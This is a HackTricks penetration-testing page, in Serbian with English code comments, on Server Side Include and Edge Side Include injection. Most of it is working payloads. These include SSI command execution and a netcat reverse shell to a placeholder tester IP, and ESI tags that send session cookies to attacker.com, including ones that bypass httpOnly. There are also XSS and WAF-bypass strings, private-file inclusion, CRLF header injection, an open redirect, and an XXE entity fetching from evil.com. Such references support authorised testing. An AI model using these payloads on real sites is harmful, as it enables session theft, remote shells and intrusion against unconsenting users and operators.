hacktricks/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

215 lines
9.0 KiB
Markdown

# Server Side Inclusion/Edge Side Inclusion Injection
{{#include ../banners/hacktricks-training.md}}
## Server Side Inclusion Basic Information
**(Uvod preuzet iz** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
SSI (Server Side Includes) su direktive koje se **postavljaju u HTML stranice i evaluiraju na serveru** dok se stranice serviraju. Omogućavaju vam da **dodate dinamički generisani sadržaj** postojećoj HTML stranici, bez potrebe da se cela stranica servira putem CGI programa ili druge dinamičke tehnologije.\
Na primer, možete postaviti direktivu u postojeću HTML stranicu, kao što je:
`<!--#echo var="DATE_LOCAL" -->`
I, kada se stranica servira, ovaj fragment će biti evaluiran i zamenjen svojom vrednošću:
`Tuesday, 15-Jan-2013 19:28:54 EST`
Odluka kada koristiti SSI, a kada imati vašu stranicu potpuno generisanu nekim programom, obično zavisi od toga koliko je stranica statična, a koliko treba da se preračunava svaki put kada se stranica servira. SSI je odličan način da dodate male delove informacija, kao što je trenutni vreme - prikazano iznad. Ali ako se većina vaše stranice generiše u trenutku kada se servira, treba da potražite neko drugo rešenje.
Možete naslutiti prisustvo SSI ako web aplikacija koristi datoteke sa ekstenzijama **`.shtml`, `.shtm` ili `.stm`**, ali to nije jedini slučaj.
Tipična SSI ekspresija ima sledeći format:
```
<!--#directive param="value" -->
```
### Proveri
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
```
## Edge Side Inclusion
Postoji problem **keširanja informacija ili dinamičkih aplikacija** jer deo sadržaja može da **varira** za sledeći put kada se sadržaj preuzme. To je ono za šta se koristi **ESI**, da označi korišćenje ESI oznaka za **dinamički sadržaj koji treba da se generiše** pre slanja keširane verzije.\
Ako **napadač** može da **ubaci ESI oznaku** unutar keširanog sadržaja, onda bi mogao da **ubaci proizvoljan sadržaj** u dokument pre nego što bude poslat korisnicima.
### ESI Detection
Sledeća **zaglavlja** u odgovoru sa servera znači da server koristi ESI:
```
Surrogate-Control: content="ESI/1.0"
```
Ako ne možete pronaći ovaj header, server **možda koristi ESI u svakom slučaju**.\
**Pristup slepom eksploatisanju se takođe može koristiti** jer bi zahtev trebao stići do servera napadača:
```javascript
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
```
### ESI eksploatacija
[GoSecure je kreirao](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) tabelu kako bi razumeo moguće napade koje možemo pokušati protiv različitih ESI-capable softvera, u zavisnosti od podržane funkcionalnosti:
- **Includes**: Podržava `<esi:includes>` direktivu
- **Vars**: Podržava `<esi:vars>` direktivu. Korisno za zaobilaženje XSS filtera
- **Cookie**: Kolačići dokumenta su dostupni ESI engine-u
- **Upstream Headers Required**: Surrogate aplikacije neće obraditi ESI izjave osim ako upstream aplikacija ne obezbedi zaglavlja
- **Host Allowlist**: U ovom slučaju, ESI uključivanja su moguća samo sa dozvoljenih server hostova, što čini SSRF, na primer, mogućim samo protiv tih hostova
| **Softver** | **Includes** | **Vars** | **Kolačići** | **Upstream Headers Required** | **Host Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | Da | Da | Da | Da | Ne |
| Varnish Cache | Da | Ne | Ne | Da | Da |
| Fastly | Da | Ne | Ne | Ne | Da |
| Akamai ESI Test Server (ETS) | Da | Da | Da | Ne | Ne |
| NodeJS esi | Da | Da | Da | Ne | Ne |
| NodeJS nodesi | Da | Ne | Ne | Ne | Opcionalno |
#### XSS
Sledeća ESI direktiva će učitati proizvoljnu datoteku unutar odgovora servera
```xml
<esi:include src=http://attacker.com/xss.html>
```
#### Obilaženje zaštite od XSS na klijentu
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
```
#### Ukradi kolačić
- Udaljeno ukradeni kolačić
```xml
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
- Ukrao HTTP_ONLY kolačić pomoću XSS tako što ga odražava u odgovoru:
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# It's possible to put more complex JS code to steal cookies or perform actions
```
#### Privatna Lokalna Datoteka
Ne mešajte ovo sa "Uključivanjem Lokalnih Datoteka":
```markup
<esi:include src="secret.txt">
```
#### CRLF
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Open Redirect
Sledeće će dodati `Location` header u odgovor
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
#### Dodajte zaglavlje
- Dodajte zaglavlje u forsiranom zahtevu
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
- Dodajte zaglavlje u odgovoru (korisno za zaobilaženje "Content-Type: text/json" u odgovoru sa XSS)
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
# Check the number of url_decode to know how many times you can URL encode the value
```
#### CRLF u Add header (**CVE-2019-2438**)
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
#### Akamai debug
Ovo će poslati informacije za debagovanje uključene u odgovor:
```xml
<esi:debug/>
```
### ESI + XSLT = XXE
Moguće je koristiti **`eXtensible Stylesheet Language Transformations (XSLT)`** sintaksu u ESI jednostavno tako što ćete postaviti param **`dca`** vrednost na **`xslt`**. Što može omogućiti zloupotrebu **XSLT** za kreiranje i zloupotrebu ranjivosti XML External Entity (XXE):
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
XSLT datoteka:
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
Proverite XSLT stranicu:
{{#ref}}
xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
### Reference
- [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
- [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
- [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
## Lista za Detekciju Brute-Force
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}